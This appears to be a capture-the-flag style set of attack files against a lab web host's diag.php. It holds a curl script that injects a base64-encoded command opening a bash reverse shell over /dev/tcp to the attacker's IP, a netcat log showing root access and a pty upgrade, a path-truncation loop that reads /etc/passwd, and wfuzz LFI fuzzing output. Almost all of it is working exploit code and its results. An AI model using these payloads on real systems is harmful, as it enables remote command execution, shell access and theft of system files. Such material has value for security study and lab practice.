curl_php_post_LFI_Injection.sh

#!/bin/bash
# curl_post_LFI_Injection.sh
# reverse nc bash shell --

# POST Data --
# --data-binary $"check=cXVhZ2dh" \
# ➜ echo "YjpcQXA7IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTIuNzQvMTMzNyAwPiYxCg==" | base64 -d
# b:\Ap; bash -i >& /dev/tcp/10.10.12.74/1337 0>&1
# ~

# Note: remove Content-Length
# --data-binary from ZAP does work fine.

url="http://10.10.10.105/diag.php"
sessid="PHPSESSID=q017rphu7kvj5ep59lm6avlk32"
cmdinj="check=YjpcQXA7IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTIuNzQvMTMzNyAwPiYxCg=="

curl -sk -X "POST" $url --data-binary $cmdinj \
 -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" \
 -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \
 -H "Accept-Language: en-US,en;q=0.5" \
 -H "Referer: http://10.10.10.105/diag.php" \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -H "Cookie: $sessid" \
 -H "Connection: keep-alive" \
 -H "Upgrade-Insecure-Requests: 1" \
    --proxy http://127.0.0.1:8080

php_injection_reverse.txt

➜ ./php_curl_post_LFI_Injection.sh 

➜ sudo nc -lvvp 1337
listening on [any] 1337 ...
10.10.10.105: inverse host lookup failed: Unknown host
connect to [10.10.12.74] from (UNKNOWN) [10.10.10.105] 54672
bash: cannot set terminal process group (10643): Inappropriate ioctl for device
bash: no job control in this shell
root@r:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@r:~# /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
root@r:~# export TERM=xterm
export TERM=xterm
root@r:~# export SHELL=bash
export SHELL=bash
root@r:~# 

php_path_truncation_test.sh

#!/bin/bash
# php_path_truncation_test.sh
# ripped from -
# https://taind.wordpress.com/2017/12/25/root-me-path-truncation/
url="http://10.10.10.105/diag.php"
data="check=cXVhZ2dh/../../../../../etc/passwd/."
cookie="q3g7408bcnv37kleql98tfg4d7"

# iterations --
n_iterations=3000

# loop --
for ((repetitions=1; repetitions<=n_iterations; repetitions+=1)); do
 if [ "`curl -X POST -kis $url -d $data \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" \
     -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" \
     -H "Accept-Language: en-US,en;q=0.5" \
     -H "Referer: http://10.10.10.105/diag.php" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -H "Cookie: PHPSESSID=$cookie" \
     -H "Connection: keep-alive" \
     -H "Upgrade-Insecure-Requests: 1" \
     --proxy http://127.0.0.1:8080  \
    | grep "^root:x"`" != "" ]; then
  echo -en "[$repetitions]";
 else
  echo -en ".";
 fi
# mod url if needed --
data+="/.";
done

wfuzz_Injection_Point.txt

# standard POST response --
# 1622 bytes. 

wfuzz on  master 
➜ sudo ./wfuzz -z file,/home/cdowns/Github/SecLists/Fuzzing/LFI-JHADDIX.txt -d "check=FUZZ" --hc 302 --hh 1622 -b "PHPSESSID=h17504bsmicjslt0j0j4oeqdn2" http://10.10.10.105/diag.php

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.3 - The Web Fuzzer                           *
********************************************************

Target: http://10.10.10.105/diag.php
Total requests: 867

==================================================================
ID   Response   Lines      Word         Chars          Payload    
==================================================================

000077:  C=200     62 L	     818 W	   7817 Ch	  "c:\AppServ\MySQL"
000104:  C=200     62 L	     999 W	   8993 Ch	  "d:\AppServ\MySQL"

Total time: 464.8408
Processed Requests: 867
Filtered Requests: 865
Requests/sec.: 1.865154


wfuzz on  master took 7m 45s 
➜